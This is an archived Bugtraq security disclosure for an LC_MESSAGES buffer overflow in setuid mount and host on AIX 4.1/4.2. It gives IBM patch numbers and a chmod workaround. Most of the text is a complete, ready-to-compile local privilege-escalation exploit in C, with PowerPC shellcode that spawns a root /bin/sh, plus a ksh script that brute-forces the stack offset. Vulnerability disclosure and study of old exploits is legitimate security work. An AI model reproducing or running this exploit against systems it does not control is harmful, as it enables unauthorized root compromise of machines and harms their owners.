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N0RoUTE Issue 2-14 L'exploit pour AIX
Subject: AIX 4.2 LC_MESSAGES + mount exploit
To: BUGTRAQ@NETSPACE.ORG
X-UIDL: 5abe9f7167f54ad2a3d9f6a8782cabce
Status: RO
Hello all
There seem to exist a buffer overflow condition in AIX 4.2/4.1/? when
the shell variable LC_MESSAGES is long enough.
/bin/host and /usr/sbin/mount are vulnerable to spawning a root shell.
Solutions:
1) IBM was informed on 972903 and on 970403 wrote the following:
>The APARs are going through the regression test lab right now and should
>be available by next week. Here are the numbers:
> AIX 4.2: APAR IX67377
> AIX 4.1: APAR IX67407
> AIX 3.2: APAR IX67405
2) a little bit ugly, but works:
#chmod -s /bin/host /usr/sbin/mount
3) I have not tested it, but if you are in the mood you may try to
change LC_MESSAGES in /usr/lib/libc.a, /usr/lib/* and everywhere else to
something unpredictable.
If the C program does not work, try the ksh script which does some brute
forcing.
PLEASE NOTE my e-mail addresses bellow and do NOT REPLY to this message.
Georgi Guninski
guninski@hotmail.com
stgun@sgg.vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
---test2.c-------------------------------------------------------------------------------------------
/*
AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
----------------------------------------
DISCLAIMER
This program is for educational purpose ONLY. Do not use it without
permission.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of
the information or functionality provided by this program.
Georgi Guninski, his employer or any Internet provider bears NO
responsibility for content
or misuse of this program or any derivatives thereof.
By using this program you accept the fact that any damage (dataloss,
system
crash, system compromise, etc.) caused by the use of this program is
not
Georgi Guninski's responsibility.
In case you distribute this, please keep the disclaimer and my
addresses.
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g test2.c
-----------------
Georgi Guninski
guninski@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
Suggestions,comments and job offers are welcome!
22-Mar-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char prog[100]="/usr/sbin/mount";
char prog2[30]="mount";
extern int execv();
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR
60632c48 lis r3,r3,11336 --CTR
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC
60634c0c lis r3,r3,19468 --TOC
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
6063696e lis r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
60636801 lis r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate with 0
30610438 lis r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP)
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
char VAR[30]="LC_MESSAGES";
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int egg=1;
int ch;
unsigned int reta; /* return address */
int corr=4604;
char *args[4];
char *newenv[8];
int justframes=1;
int startwith=0;
mn=78;
max=100;
if (argc>1)
corr = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
perror("Bad parameters");
exit(1);
}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);
reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
for(nop=0;nop<mn;nop++)
buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
|| !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}
while(i++<max)
buf[i]=reta;
buf[i]=0;
for(i=0;i<max-1;i++)
frame[i]=reta;
frame[i]=0;
if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
puts("Start...");/*Here we go*/
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
(char*)&buf):NULL;
newenv[6]=NULL;
args[0]=prog2;
execve(prog,args,newenv);
perror("Error executing execve \n");
/* Georgi Guninski
guninski@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
*/
}
------------brute-ksh-script----------------------------------------------------------------------
#!/bin/ksh
L=3000
STEP=34
MAX=16000
while [ $L -lt $MAX ]
do
../a.out $L
L=`expr $L + $STEP`
done
-------------------------------------------------------------------------------------------------
